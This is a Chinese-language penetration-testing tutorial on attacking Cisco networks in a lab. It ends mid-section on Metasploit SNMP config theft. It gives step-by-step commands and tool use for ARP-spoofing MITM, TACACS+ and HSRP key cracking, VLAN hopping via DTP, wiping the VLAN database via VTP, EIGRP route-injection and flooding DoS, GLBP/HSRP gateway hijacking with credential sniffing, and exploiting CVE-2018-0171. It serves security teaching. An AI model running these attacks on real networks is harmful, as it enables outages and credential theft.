思科网络渗透测试 Pentesting Cisco networks

思科网络渗透测试 Pentesting Cisco networks

介绍

在我作为网络安全工程师的整个职业生涯中,我见过不少使用思科设备的网络。在大多数情况下,该设备以默认配置运行,这使本地网络面临潜在入侵者的巨大风险。在本文中,您将了解如果 Cisco 网络设置不正确,将会是一场噩梦。

我是网络安全专家 Magama Bazarov,在本文中,您将了解 Cisco 网络中会发生什么样的噩梦。

免责声明

本文适用于安全专家、渗透测试人员。您从这里学到的技能只是您的职责范围,请注意!

1.滥用TACACS+协议

TACACS+(终端访问控制器访问控制系统)[Terminal Access Controller Access Control System]是一种协议,旨在集中操作直接用于管理网络设备的帐户。TACACS+ 服务器决定是否允许或拒绝尝试登录网络设备控制面板的用户访问。

如果攻击者设法进入客户端和 TACACS 服务器之间,他可以拦截加密形式的身份验证密钥,然后对其进行本地暴力破解。所以你们俩都暴力破解了密钥,并且不会出现在日志中。如果您设法暴力破解密钥,您将能够访问网络设备并解密Wireshark中的流量。通过向 Wireshark 提供密钥,您可以解密存储用户登录信息的其余数据。

1.1 MITM / 拦截key

首先,您必须执行MITM攻击,这取决于环境和您的偏好。例如,我将对TACACS 代理和 TACACS 服务器进行 ARP 欺骗。

但是,您并不总是能够执行 MITM 攻击。

如果你有一些 TACACS+ 流量的转储,你可以在你的网络接口上重复它(是的,我们现在正在谈论tcpreplay

TACACS 代理将是交换机 SW1,IP 地址为10.10.100.10
TACACS 服务器将是一个TACACSGUI,地址为10.10.100.70

我通过Ettercap实用程序实现了相同的ARP 欺骗。首先,您需要将接口切换到混杂模式并允许路由:

~$ sudo ip link set eth0 promisc on
~$ sudo sysctl -w net.ipv4.ip_forward=1

现在启动Ettercap

~$ sudo ettercap -G
思科网络渗透测试 Pentesting Cisco networks
Ettercap 工具

监听接口将是eth0。让我们开始主机扫描。

思科网络渗透测试 Pentesting Cisco networks
扫描主机(通过 ARP)

目标 1将是 IP 地址为10.10.100.10的主机,目标 2将是10.10.100.70

思科网络渗透测试 Pentesting Cisco networks
ARP欺骗攻击

1.2 Loki 工具。

现在您需要运行Loki。这是一个专门用于分析 L2/L3 协议安全性的工具。它的能力与流行的Yersinia 一样好,是它的重要竞争对手。Loki 还可以暴力破解 TACACS 密钥。如果密钥被成功地暴力破解通常是 MD5 加密格式)我们可以访问设备并解密 TACACS 加密的流量。

让我们开始Loki。

~$ sudo loki_gtk.py
思科网络渗透测试 Pentesting Cisco networks
选择网络接口

您还需要指定字典的路径以暴力破解加密密钥。请务必取消选中Use Bruteforce选项,否则 Loki 将在不使用字典的情况下暴力破解密码。

思科网络渗透测试 Pentesting Cisco networks
设置密码字典列表的路径

现在我们必须等待管理员通过 TACACS 服务器登录设备。假设网络管理员已经登录,我们站在中间通过 ARP 欺骗拦截流量。在这样做的过程中,合法主机不会意识到其他人干扰了他们的连接。

思科网络渗透测试 Pentesting Cisco networks
Loki 找到了 TACACS+ 连接

现在单击CRACK按钮并等待Loki破解密码。

思科网络渗透测试 Pentesting Cisco networks
Loki 破解了 TACACS 密钥。
密码:secret1234

太好了,我们设法解锁了密钥,现在我们需要解密 TACACS 流量。正如我所说,如果密钥存在,Wireshark 可以处理加密的 TACACS 流量。

思科网络渗透测试 Pentesting Cisco networks
为 Wireshark 提供密钥

我们看到使用了哪个准则。

思科网络渗透测试 Pentesting Cisco networks
使用的准则

我们找到用户的用户名admin

思科网络渗透测试 Pentesting Cisco networks

因此,我们拥有了可用于访问硬件本身的admin:secret1234凭据。我想我会检查它们的有效性。

思科网络渗透测试 Pentesting Cisco networks
成功获得设备使用权

这就是您可以攻击 TACACS+ 并获得对网络设备控制面板的访问权限的方法。

2.CDP协议

CDP(思科发现协议)[Cisco Discovery Protocol]是思科系统公司开发的一种数据链路层协议,旨在允许设备交换信息。CDP 可以帮助网络管理员并简化拖网的过程,但对于入侵者……让我们现在就来了解一下。

2.1 信息收集

默认情况下,CDP 向其所有端口发送公告。但是,如果入侵者连接到同一交换机上的端口怎么办?使用网络嗅探器,无论是Wireshark还是tcpdump,他都可以提取有关设备本身的有价值的信息,从其型号到 Cisco IOS 版本。使用此信息,他将能够枚举相同版本的 Cisco IOS 并找到漏洞然后利用它。

思科网络渗透测试 Pentesting Cisco networks
CDP 流量转储

2.2 CDP 泛洪攻击

如果攻击者引发大量 CDP 公告,洪泛本身将使交换机过载并破坏网络。CDP 邻居表也会溢出。这种攻击很简单,所以我不会详细介绍。

我将为此使用Yersinia 

~$ sudo yersinia -G
思科网络渗透测试 Pentesting Cisco networks
检测到交换机SW1

选择泛洪 CDP 表选项并开始攻击。交换机 CPU 以及 CDP 邻居表都会过载,导致“网络瘫痪”。

思科网络渗透测试 Pentesting Cisco networks
攻击的开始
思科网络渗透测试 Pentesting Cisco networks
过载的交换机 CPU

3.滥用动态集群

DTP(动态中继协议)[Dynamic Trunking Protocol]—是一种链路层协议,旨在提供自动中继系统。使用 DTP,交换机决定哪个端口在中继模式 (Trunk) 下工作,哪个端口不工作。在我看来,使用 DTP 表明网络设计不佳。树干应该严格放在需要的地方,并且应该记录在案。当网络工程师自己不知道哪个端口在中继,哪个端口处于访问模式时,这尤其有趣。

默认情况下,所有交换机端口都在动态自动模式下运行。这表明交换机端口处于来自相邻交换机的中继启动模式。渗透测试人员需要物理连接到交换机并发送 DTP Desirable 帧,这会触发端口切换到中继模式。然后,攻击者可以使用 STP 帧分析枚举 VLAN,并通过创建虚拟接口绕过 VLAN 分段。

对于攻击,我们需要一个脚本来生成 DTP Desirable 帧。为此,我编写了一个名为DTPHijacking.py 的小程序。 它的源代码是开放的,你可以研究它。但是,在任何情况下都不要中断脚本。它每三秒注入一次 DTP Desirable。交换机上动态创建的中继通道仅存在五分钟。五分钟后,树干掉了下来。

思科网络渗透测试 Pentesting Cisco networks
~$ sudo python3 DTPHijacking.py --interface eth0

我想指出,Access/Desirable (0x03)表示 DTP 帧是 Desirable 类型,它告诉端口切换到 Trunk 模式。而802.1Q/802.1Q (0xa5 ) 表示802.1Q封装类型。

通过分析 STP 帧,我们了解到 VLAN 30 和 VLAN 60 的存在。

思科网络渗透测试 Pentesting Cisco networks
STP 帧分析

有了这些信息和一个中继端口,我们就可以绕过 VLAN 分段访问这些 VLAN。我们需要创建虚拟接口并为其分配 IP 地址。

in9uz@Inguz:~$ sudo vconfig add eth0 30
in9uz@Inguz:~$ sudo vconfig add eth0 60
in9uz@Inguz:~$ sudo ip link set eth0.30 up
in9uz@Inguz:~$ sudo ip link set eth0.60 up
in9uz@Inguz:~$ sudo dhclient -v eth0.30
in9uz@Inguz:~$ sudo dhclient -v eth0.60

因此,可以绕过 VLAN 分段并访问 VLAN 网络。

4.攻击VTP协议时网络瘫痪

VTP(VLAN 中继协议) — 是一种旨在集中管理 VLAN 的协议。为了跟踪当前的 VLAN 数据库,交换机会检查特殊的修订号。当发生任何表更新时,修订号加一。如果交换机检测到具有更高版本号的配置,它将自动更新其 VLAN 数据库。

4.1 VTP 域中的角色

  • VTP 服务器。具有 VTP 服务器角色的交换机可以创建新 VLAN、删除旧 VLAN 或更改 VLAN 本身的信息。它还为其他域成员生成 VTP 公告。
  • VTP 客户端。此角色的交换机将接收来自域中其他交换机的特定 VTP 公告,以自行更新 VLAN 数据库。客户端创建 VLAN 的能力受到限制,甚至不允许在本地更改 VLAN 配置。换句话说,只读访问。
  • VTP 透明。在这种模式下,交换机不参与 VTP 进程,并且可以对整个 VLAN 配置进行全面的本地管理。在透明模式下运行时,交换机仅传输来自其他交换机的 VTP 公告,而不会影响其 VLAN 配置。此类交换机的修订号始终为零,无法受到攻击。

4.2 广告类型

  • 摘要广告 — VTP 服务器每300 秒(5 分钟)发送的 VTP 公告。该公告存储了 VTP 域名、协议版本、时间戳和 MD5 配置哈希值。
  • 子集通告 —这是每当 VLAN 配置发生更改时发送的 VTP 通告。
  • 广告请求 —是从 VTP 客户端到 VTP 服务器的对摘要广告消息的请求。通常发送以响应交换机已检测到具有更高配置修订号的摘要广告的消息。

VTP只能从中继端口受到攻击,因为VTP 公告仅在中继端口上广播和接收。 因此,在攻击 DTP 后进行渗透测试时,您的下一个目标可能是 VTP。为了攻击 VTP 域,我将使用 Yersinia。有了它,我将运行 VTP 注入,这将擦除整个 VLAN 数据库,从而使网络瘫痪。

!!!VTP 协议有多达三个版本。在本文中,我将对第一个版本 VTPv1 进行攻击!

要清除整个 VLAN 数据库,请选择删除所有 VTP vlan选项

思科网络渗透测试 Pentesting Cisco networks
攻击的开始
思科网络渗透测试 Pentesting Cisco networks
攻击前的 VLAN 数据库
思科网络渗透测试 Pentesting Cisco networks
攻击后的 VLAN 数据库
思科网络渗透测试 Pentesting Cisco networks
网络瘫痪(对于 VLAN 60 中的主机)

VLAN 60 上的主机已失去与网关的连接……*哎呀*

5. 攻击 EIGRP 协议

EIGRP(增强型内部网关路由协议)[Enhanced Interior Gateway Routing Protocol]是一种动态路由协议。它是一个距离矢量协议。 如果没有被动接口的身份验证和配置,入侵者可能会干扰 EIGRP 路由并导致路由表中毒。 此外,EIGRP 网络(换句话说,自治系统)是扁平的,没有划分为任何区域。这对攻击者意味着什么?好吧,如果他注入一条路由,那么这条路由很可能会传播到整个自治 EIGRP 系统。

思科网络渗透测试 Pentesting Cisco networks
EIGRP 关系解构

首先,攻击一个独立的 EIGRP 系统需要建立一个具有合法 EIGRP 路由器的邻居,这开辟了很多可能性,从基本侦察到各种注入。

为此,我将使用FRRouting。这是一个开源软件,旨在在 Unix 和 Linux 中创建路由器。FRRouting允许您实现支持 BGP、OSPF、EIGRP、RIP 和其他协议的虚拟路由器。您需要做的就是将它部署在攻击者的系统上,您实际上可以假装自己是路由域中的合法路由器。我将在下一节向您展示如何在您的系统上部署 FRR。

5.1 网络智能

连接到路由域使我们能够对网络进行枚举和侦察,而无需花费大量时间进行扫描。这种方法可以为您节省大量宝贵的时间。此外,通过扫描,您可能会在 IPS/IDS 安全系统面前被拦截。对我来说,连接到域和枚举是对路由域产生最大影响的攻击媒介。但要做到这一点,您需要部署FRRouting。开始了。

有必要编辑配置文件守护进程。它包含守护进程在其活动上下文中的配置。要么启用(是)要么不启用(否)。我们需要激活eigrpd守护进程。

~# nano /etc/frr/daemons
eigrpd=yes
思科网络渗透测试 Pentesting Cisco networks
FRR 守护进程配置文件

之后,需要更正vtysh.conf文件,在一个文件中增加一行负责保存配置,这样不同协议的配置就不会分散到不同的文件中(如eigrpd.conf、staticd.conf)。它是可选的配置。

~# nano /etc/frr/vtysh.conf
service integrated-vtysh-config

FRRouting 配置完成。现在是时候运行 FRR 守护程序了。是的,我们需要启用流量路由。默认情况下,它在 Linux 发行版中被禁用

~$ sudo systemctl start frr
~$ sudo sysctl -w net.ipv4.ip_forward=1
思科网络渗透测试 Pentesting Cisco networks
FRR 守护进程状态

vtysh命令会将我们带到 FRR 路由器控制面板

~$ sudo vtysh

例子:

Inguz# show version
思科网络渗透测试 Pentesting Cisco networks
FRR 控制面板

但是,在 FRR 路由器上配置 EIGRP 之前,您需要知道自治系统编号并了解是否有身份验证。

思科网络渗透测试 Pentesting Cisco networks
EIGRP 数据包解构

但是,不要忘记 EIGRP 路由域可以通过身份验证来保护。但是您仍然有机会连接到路由域。当发送 hello 数据包时,它们还包含加密哈希。如果您可以从流量转储中提取这些哈希并重置密码,则可以使用此密码登录到路由域。

进入全局配置模式并启动EIGRP进程,指定自治系统编号 — 1

我们还需要声明我们所在的网络。我们在 10.10.100.0/24。我的地址是 10.10.100.50/32

Inguz# config
Inguz(config)# router eigrp 1
Inguz(config-router) network 10.10.100.50/32

之后,合法 EIGRP 路由器之间的邻域就建立起来了。我的网络上有两个:

  • GW1 (10.10.100.100)
  • GW2 (10.10.100.200)
思科网络渗透测试 Pentesting Cisco networks
与 GW1 (10.10.100.100) 的 EIGRP 邻居
思科网络渗透测试 Pentesting Cisco networks
与 GW2 (10.10.100.200) 的 EIGRP 邻居

在 EIGRP 路由器之间建立和维护邻域的过程中,路由器交换它们的路由信息​​。邻域建立后,我们的攻击系统路由表中会出现新的路由,即:

  • 10.1.239.0/24 via 10.10.100.100;
  • 30.30.30.0/24 via 10.10.100.100;
  • 100.100.100.0/24 via 10.10.100.100;
  • 172.16.100.0/24 via 10.10.100.200
思科网络渗透测试 Pentesting Cisco networks
路由表

这样,在建立了邻域之后,我们就知道了这些子网的存在,这让我们更容易进行渗透测试并节省时间。我们可以不进行额外的子网扫描。现在我们在 EIGRP 路由域中,我们可以开发一些攻击向量。让我们谈谈他们。

5.2 假 EIGRP 邻居

我发现生成并快速发送大量 EIGRP hello 数据包会使路由器的 CPU 过载,这反过来又会为 DoS 攻击打开大门。我开发了一个小helloflooding.py 脚本,但在我看来,该脚本缺乏发送数据包的速度。这是由 GIL 引起的,它阻止了sprayhello函数每秒在多个线程中运行。最终我会用 C 重写脚本。

思科网络渗透测试 Pentesting Cisco networks
helloflooding.py

脚本参数:

  • 攻击系统接口(eth0);
  • EIGRP 自治系统编号(1);
  • 攻击系统所在的子网。就我而言,子网是 10.10.100.0/24
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
思科网络渗透测试 Pentesting Cisco networks
攻击期间的 CPU 过载

5.3 EIGRP黑洞

这种攻击的本质是一个简单的虚假路由注入,会毒化路由表。例如,到网络的流量10.10.100.0/24将无处可去,从而导致拒绝服务。这种攻击称为黑洞。脚本routeinject.py 将是用于执行它的工具。在本例中,我会将发往主机的流量发送172.16.100.140/32到黑洞。

思科网络渗透测试 Pentesting Cisco networks
routeinject.py

脚本参数:

  • 攻击系统界面
  • EIGRP AS 号
  • 攻击者的IP地址
  • 流量将被发送到黑洞的目标子网的IP地址
  • 目标子网掩码
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
思科网络渗透测试 Pentesting Cisco networks
恶意 EIGRP 注入主体

我们的主机似乎有麻烦了:)

思科网络渗透测试 Pentesting Cisco networks
失去连接

如您所见,由于路由注入,主机失去了与主机172.16.100.140/32的连接。

思科网络渗透测试 Pentesting Cisco networks
路由表中的恶意路由

5.4 滥用 K 值

为了建立 EIGRP 邻居,路由器使用特殊的 K 值。它们在所有 EIGRP 邻居中必须相同。如果至少有一个 K 值不匹配,则 EIGRP 域将崩溃并且邻域将被破坏。我们将使用relationshipnightmare.py 来执行此攻击

脚本参数:

  • 网络接口
  • EIGRP AS 号
  • 合法路由器的IP地址

代表指定的 IP 并将在多播 EIGRP IP 地址上发送一个注入,其中 K 值不同。就我而言,我将代表路由器 GW1 (地址为 10.10.100.100)打破邻居。

~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
思科网络渗透测试 Pentesting Cisco networks
邻里中断期间的交通倾销
思科网络渗透测试 Pentesting Cisco networks
GW1 路由器无休止地断开和重新连接 EIGRP

可以通过这种方式进行 DoS 攻击。在操作过程中,会发生无休止的中断和邻域尝试,从而使部分 EIGRP 路由域瘫痪。

5.5 路由表溢出

这种攻击的本质是引发发送大量虚假路由,从而导致路由表溢出。这会耗尽路由器的计算资源,即 CPU 和 RAM,因为注入速度非常快。本次攻击使用routingtableoverflow.py脚本

思科网络渗透测试 Pentesting Cisco networks

脚本参数

  • 网络接口
  • EIGRP AS 编号
  • 攻击者的IP地址
in9uz@Inguz:~$ sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50

运行脚本后,路由表开始充满路由。目标网络的随机地址是由于在 Scapy 中使用了RandIP ( )

思科网络渗透测试 Pentesting Cisco networks
GW1 路由器上的路由表溢出
思科网络渗透测试 Pentesting Cisco networks
路由器CPU过载

6. FHRP 劫持

6.1 什么是 FHRP?

FHRP(First Hop Redundancy Protocol)是一类网络协议,旨在创建热冗余路由系统。使用 FHRP,可以将物理路由器组合成单个逻辑设备,从而提高容错能力并有助于分配负载。

思科系统工程师开发了两种 FHRP 协议,GLBP 和 HSRP,我将在下面进行演示。

6.2 GLBP 协议

由思科系统工程师开发。与 HSRP 一样,该协议是在 TCP/IP 协议栈之上实现的,这就是为什么使用端口号 3222 下的 UDP 传输层协议来翻译服务信息的原因。同一逻辑组内的 GLBP 路由器每 3 秒交换一次特殊的“hello”数据包,但如果同一组内的 GLBP 路由器在 10 秒内未收到来自其 GLBP 邻居的 hello 数据包,则将其识别为“死亡”。但是,可以根据管理员的需要配置计时器值。

6.3 GLBP的骨架和机制

GLBP 使用一个虚拟 IP 地址和多个虚拟 MAC 地址为多个路由器(网关)提供负载共享。每台主机配置相同的虚拟IP地址,虚拟组中的所有路由器都参与数据包传输。

与 HSRP 和 VRRP 协议的工作方式大不相同,因为它使用真正的负载平衡机制,我将在下面表示:

主机相关。在有 NAT 的网络上使用的一种负载平衡。Host-Dependent 保证主机会及时取回之前使用的 AVF 设备的相同 MAC 地址,因此配置给主机的 NAT 不会被破坏。

循环赛。在这种模式下,AVG 设备将 MAC 地址交替分配给 AVF 成员。这是默认使用的机制。

基于权重的循环。基于特殊“权重”指标的负载平衡

6.4 GLBP 领域和术语中的角色

AVG(活动虚拟网关) ——具有主导作用的路由器还负责将 MAC 地址分配给同一 GLBP 组内的其他路由器。GLBP 领域中的一种“老板”。AVG 告诉其他路由器如何在 ARP 请求到达时通过分发 MAC 地址来分配流量。值得注意的是,一个 GLBP 域中只能有一个 AVG 路由器,但它也可以是 AVF 成员。

AVF(活动虚拟转发器) — GLBP 组中处理网络流量的路由器。

GLBP 优先级— 确定 GLBP 组中哪个路由器将成为 AVG 的优先级值。默认值为 100(优先级范围可以是 1 到 255)。可以手动设置,即网络工程师自己决定哪个路由器是“上级”,哪个是“从”。优先级越高,路由器就越有可能获得 AVG 角色。通常将 AVG 角色赋予功能更强大的路由器。

GLBP 权重— GLBP 组中路由器的所谓 GLBP 权重值。GLBP 权重定义路由器的负载级别。该值是“浮动的”,可以根据物理通道上的负载(涉及对象跟踪机制)而变化,但也可以手动配置。

GLBP 虚拟 IP 地址— GLBP 域中的虚拟 IP 地址。用作合法主机的默认网关地址。

GLBP 使用保留的组邮件 IP 地址224.0.0.102和 UDP 传输层协议端口号3222来发送和处理服务信息。特殊的 GLBP Hello 数据包每3 秒发送一次。如果 GLBP 路由器在10 秒内没有收到来自邻居的 hello 数据包,则该邻居将被视为“死亡”并退出 GLBP 域。

6.5 GLBP攻击机制

这种网络攻击的技术是通过注入具有最大优先级值的恶意 GLBP 数据包,将您的设备作为主路由器。 成功利用会导致 DoS 或 MITM 攻击,您可以在其中拦截网络内的流量、执行重定向或在您接管 AVG 路由器的角色时引发 DoS。您所要做的就是构建一个最高优先级值为 255 的 GLBP 数据包,并将其定向到本地网络。

思科网络渗透测试 Pentesting Cisco networks
攻击前
思科网络渗透测试 Pentesting Cisco networks
攻击后

6.6 GLBP 注入(Loki)

为了演示这种攻击,我将使用Loki。它将执行一次恶意 GLBP 注入,最大优先级值为 255,最大权重值为 255。但在执行攻击之前,需要检查以下信息:

  • GLBP 域中使用的虚拟 IP 地址
  • 身份验证的可用性
  • 路由器优先级的值

我们将能够通过分析 GLBP 流量来提取此信息。我们将使用Wireshark

正如我们所见,GLBP 过程中只涉及两个路由器:10.10.100.100 和 10.10.100.200。

思科网络渗透测试 Pentesting Cisco networks
GLBP 广告
思科网络渗透测试 Pentesting Cisco networks
来自第一个路由器的 GLBP 广告
思科网络渗透测试 Pentesting Cisco networks
来自第二个路由器的 GLBP 广告

在分析 GLBP 流量后,我们有以下内容:

  • 在优先级设置中检测到错误配置。AVG 路由器被认为是优先级为 200 的 GLBP 路由器,即我们有一个用于 GLBP 劫持的向量
  • 没有认证
  • GLBP 域中使用的虚拟 IP 地址是 10.10.100.254

有了这些信息,我们就可以轻松地攻击 GLBP。

思科网络渗透测试 Pentesting Cisco networks
Loki 从两个路由器中发现了 GLBP 广播

在攻击之前,切换到混杂模式并允许流量路由:

~$ sudo ip link set eth0 promisc on
~$ sudo sysctl -w net.ipv4.ip_forward=1

选择 IP 地址为10.10.100.100的路由器并激活获取 IP选项。您还需要生成一个免费的ARP。

思科网络渗透测试 Pentesting Cisco networks
发动攻击
思科网络渗透测试 Pentesting Cisco networks
恶意 GLBP 注入的结构

如您所见,AVG 路由器现在伪装成一个攻击系统。优先级值为255,权重值为255,即最大值。

执行注入后,我们需要在网络接口上使用 GLBP 域中的虚拟 IP 地址的值创建一个辅助 IP 地址。您还需要设置 24 位掩码。

这样合法的流量就会被环回给我们,因为 GLBP 域中使用的虚拟 IP 地址是主机的默认网关地址:

~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0

要查看传入流量和传出流量,我们需要一个SNAT(伪装)的小规则:

~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

我们还需要删除我们机器上的默认路由并编写一条新路由,该路由将通过以前的 AVG 路由器 (地址为 10.10.100.100)。即使我们从路由器劫持了 AVG 角色,它仍然能够路由流量。

~$ sudo route del default
~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

就是这样,我们现在是“中间人”!我将运行工具net-creds.py来分析流量以查找重要数据。例如,未加密的 FTP 流量或 NTLM 哈希。

~$ sudo python2 net-creds.py -i eth0

运行该实用程序后,我将尝试读取位于 GLBP 路由器后面的 IP 地址为172.16.100.70的 SMB 共享。

user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy
思科网络渗透测试 Pentesting Cisco networks
截获的 NTLMv2-SSP 哈希

这就是您可以通过攻击 GLBP 域来拦截网络内流量的方法。

6.7 HSRP 劫持

HSRP(热备路由器/冗余协议)[Hot Standby Router/Redundancy Protocol]—是 Cisco 专有协议,允许网络网关冗余。总体思路是将多个物理路由器组合成一个具有公共 IP 地址的逻辑路由器。虚拟路由器的这个地址将分配给具有主机角色的路由器的接口,而后者又将负责流量转发。在 HSRP 域中,处理所有流量的任务完全落在具有主要角色的路由器上,这与 GLBP 不同,后者提出了使用特殊度量(优先级和权重)进行负载平衡。

6.8 HSRP 领域和术语中的角色

HSRP 活动路由器— 一种充当虚拟路由器并提供从源网络到目标网络的流量转发的设备。
HSRP 备用路由器— 充当备用路由器的设备,等待活动路由器出现故障。当主Active路由器出现故障时,Standby路由器将接替主角色,接替Active路由器的职责。
HSRP 组— 一组确保逻辑路由器运行和容错的设备。
HSRP MAC 地址— HSRP 域中逻辑路由器的虚拟 MAC 地址。
HSRP 虚拟 IP 地址— 这是 HSRP 组中的特殊虚拟 IP 地址。此 IP 地址将是最终主机的默认网关,用于逻辑路由器本身。

6.9 HSRP 协议版本

HSRP 协议有两个版本——HSRPv1 和 HSRPv2。它们在以下参数上有所不同:

  • 可能的逻辑组数。HSRPv1 最多可以有 255 个组。HSRPv2 最多可以有 4096 个组
  • 多播 IP 地址。HSRPv1使用IP地址224.0.0.2发送服务信息,HSRPv2使用224.0.0.102
  • 虚拟 MAC 地址。HSRPv1 使用00:00:0C:07:AC:XX作为其虚拟 MAC 地址。HSRPv2 的虚拟 MAC 地址为00:00:0C:9F:FX:XX(其中 XX 是 HSRP 组号)

HSRP 使用保留的 IP 地址224.0.0.2224.0.0.102 (取决于 HSRP 版本)和端口号为1985的 UDP 传输层协议来广播和处理服务信息。每 3 秒发送一次特殊的 HSRP Hello 数据包。如果 HSRP 路由器在 10 秒内没有收到来自邻居的 hello 数据包,则该邻居将被视为“死亡”并退出 HSRP 域。

6.10 HSRP攻击机制

这与 GLBP 劫持完全相同。我们需要执行最大优先级值为 255 的恶意 HSRP 注入。这使我们能够劫持 Active 路由器的角色,从而为MITM攻击打开了大门。但同样,我们需要在进行攻击之前检查以下信息:

  • HSRP 域中使用的虚拟 IP 地址
  • 身份验证的存在
  • 路由器优先级的值

我们可以通过分析 HSRP 流量来提取这些信息。让我们使用 Wireshark。

如您在屏幕截图中所见,HSRP 进程仅涉及地址为 10.10.100.100 和 10.10.100.200 的两个路由器

思科网络渗透测试 Pentesting Cisco networks
HSRP 广告
思科网络渗透测试 Pentesting Cisco networks
第一个 HSRP 路由器
思科网络渗透测试 Pentesting Cisco networks
第二个 HSRP 路由器

基于对 HSRP 流量的分析,我们有以下几点:

  • 在优先级设置中检测到错误配置。活动路由器被认为是优先级为 200 的 HSRP 路由器,也就是说,我们有一个 HSRP 劫持的向量
  • HSRP 域中使用的虚拟 IP 地址是 10.10.100.254
  • 使用MD5认证

在域中进行身份验证会束缚我们的手,但我会解决这个问题。

6.11 HSRP 身份验证绕过

以.pcap格式保存 HSRP 流量转储,以便泄密者可以从转储中正确提取 MD5 哈希。我将使用hsrp2john.py作为 exfiltrator:

~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_authentication.pcap
思科网络渗透测试 Pentesting Cisco networks
从 HSRP 流量转储中提取 MD5 哈希

我将使用开膛手约翰(John the Ripper)破解hash,将hash本身指定为输入。使用–wordlist开关,我将指定字典的路径:

~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlistforbrute
思科网络渗透测试 Pentesting Cisco networks
破解HSRP域密码

样一来,我们就有了进入 HSRP 域的密钥—— endgame

6.12 HSRP 注入 (Loki)

我将使用相同的 Loki 来攻击 HSRP 协议。除此之外,它还具有密钥注入功能,可以帮助我们绕过身份验证。早些时候,在 HSRP 劫持部分,我们获得了有关 HSRP 域的所有必要信息。

开始Loki。

思科网络渗透测试 Pentesting Cisco networks
Loki 检测到 HSRP 广告

在进行攻击之前不要忘记切换到混杂模式并允许流量路由:

~$ sudo ip link set eth0 promisc on
~$ sudo sysctl -w net.ipv4.ip_forward=1

选择地址为10.10.100.100且优先级为200的路由器。作为Secret参数,输入来自 HSRP 域的破解密码,生成免费 ARP 并选择Get IP选项。

思科网络渗透测试 Pentesting Cisco networks
思科网络渗透测试 Pentesting Cisco networks
恶意 HSRP 注入的结构

正如我们所见,Active 路由器现在是我们的攻击系统。优先级值为 255。

注入后,我们需要在网络接口上使用 HSRP 域中的虚拟 IP 地址的值创建一个辅助 IP 地址。您还应该指定 24 位掩码。这样,合法的流量就会被环回给我们,因为HSRP域中使用的虚拟IP地址是主机的默认网关地址。

~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0

我们设置了众所周知的 Source NAT(伪装)来拦截所有流量:

~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

我们删除了我们机器上的默认路由并编写了一个新的路由,它将通过以前的 Active 路由器(它的地址是 10.10.100.100)。即使我们从路由器中劫持了主动角色,它仍然能够路由流量。

~$ sudo route del default
~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

现在我们是“中间人”。让我们运行net-creds.py

~$ sudo python2 net-creds.py -i eth0

运行该实用程序后,我将重现对 172.16.100.140 的 FTP 服务器进行身份验证的尝试:

~$ ftp 172.16.100.140
思科网络渗透测试 Pentesting Cisco networks
截获的 FTP 凭据 (insomnia:betrayal)

结果,我们从FTP服务器上得到了凭证:insomnia:betrayal

这就是您可以攻击 HSRP 域并拦截流量的方式。基本上,一切都类似于 GLBP。

7. 思科智能安装漏洞利用

Cisco Smart Install — 是一种 Cisco旨在自动执行新 Cisco 硬件的操作系统映像的初始配置和加载。默认情况下,思科智能安装在思科硬件上处于活动状态,并使用传输层协议 TCP,端口号为 4786。

2018 年,在该协议中发现了一个严重漏洞 CVE-2018-0171。CVSS 等级的威胁等级为 9.8。

发送到 TCP/4786 端口(思科智能安装处于活动状态)的特制数据包会触发缓冲区溢出,从而允许攻击者:

  • 强制重启设备
  • 返回 RCE
  • 窃取网络设备的配置。

SIET (Smart Install Exploitation Tool)是为利用此漏洞而开发的,它允许您滥用 Cisco Smart Install 在本文中,我将向您展示如何读取合法的网络硬件配置文件。配置渗透对于渗透测试者来说可能很有价值,因为它将了解网络的独特功能。这将使生活更轻松,并允许找到新的攻击载体。

目标设备将是“实时”Cisco Catalyst 2960 交换机。虚拟映像没有 Cisco Smart Install,因此您只能在真实硬件上进行练习。

目标交换机的地址是10.10.100.10 并且 CSI 处于活动状态。加载 SIET 并开始攻击。-g 参数表示从设备中泄露配置,-i 参数允许您设置易受攻击目标的 IP 地址。

~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
思科网络渗透测试 Pentesting Cisco networks
成功利用漏洞

交换机配置10.10.100.10将在tftp/文件夹中

思科网络渗透测试 Pentesting Cisco networks
交换机的合法配置(SW1)

8. 通过 SNMP 进行配置渗漏和枚举

SNMP(简单网络管理协议)—是一种允许您监控计算机网络上设备状态的协议。它可以是网络设备、IP 电话、公司服务器或其他任何东西。

SNMP 使用端口号为 161/UDP 和 162/UDP 的 UDP 传输层协议。所谓的社区字符串用于将 SNMP 代理引用到服务器。容我们说,这些是用于与 SNMP 服务器通信的特殊密码。社区字符串具有 RO(只读)或 RW(读写)权限。

实际上,SNMP 不仅可以监控设备状态,还可以对其进行全面管理:dump configs、更改配置等。如果一个渗透测试者可以查到团体字符串的值,他实际上就获得了对设备的访问权限。然而,这一切都取决于他暴力破解的字符串——RO 或 RW 社区字符串。

暴力社区字符串可以使用oneixtyone实用程序来实现。它将以暴力破解字典和目标主机的 IP 地址作为输入。目标将是:

  • 10.10.100.10 — Cisco vIOS 交换机
  • 10.10.100.254 — Cisco vIOS 路由器
~$ onesixtyone -c communitystrings -i targets
思科网络渗透测试 Pentesting Cisco networks
已建立的字符串:公共和私有

我们发现了这些设备上使用了哪些社区字符串。这为我们的渗透开辟了道路。

8.1 cisco_config_tftp

使用 Metasploit 框架,即cisco_config_tftp模块,您可以通过知道社区字符串的值来拉取设备配置。拥有 RW 权限的字符串是private

我们将需要以下内容:

  • RW 社区字符串 (COMMUNITY)
  • 攻击者的 IP 地址 (LHOST)
  • 目标设备 IP 地址 (RHOSTS)
  • 模块输出设备配置的路径(OUTPUTDIR)
